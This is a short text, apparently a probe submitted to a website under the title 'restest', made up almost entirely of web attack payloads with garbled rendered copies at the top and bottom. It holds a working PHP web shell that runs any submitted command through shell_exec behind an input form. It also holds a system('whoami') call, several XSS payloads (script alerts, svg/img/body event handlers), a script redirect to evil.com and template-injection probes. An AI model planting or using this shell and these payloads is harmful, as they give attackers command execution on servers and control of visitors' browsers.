restest

” . shell_exec($cmd) . “”; } ?> html <%=7*7%> ({{7*7}}) ‘”>

Click here

” Click me

<?php system('whoami'); ?>
<?php
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>
<form method="POST">
    <input type="text" name="cmd" placeholder="Enter command">
    <input type="submit" value="Execute">
</form>
<script>alert('HACKED')</script>
<style>*{background: pink !important;}</style>
<marquee>html</marquee>
<script>location='https://evil.com'</script>
<%=7*7%>
({{7*7}})
'"><img src=x onerror=alert(1)>
<a href="">Click here</a>
<svg/onload=alert('XSS')>
<body onload=alert('XSS')>
<img src=x>
<img """><script>alert("XSS")</script>"
<a href="#">Click me</a>

alert(‘HACKED’) html location=’https://evil.com’ ({{7*7}}) ‘”> Click here alert(“XSS”)” Click me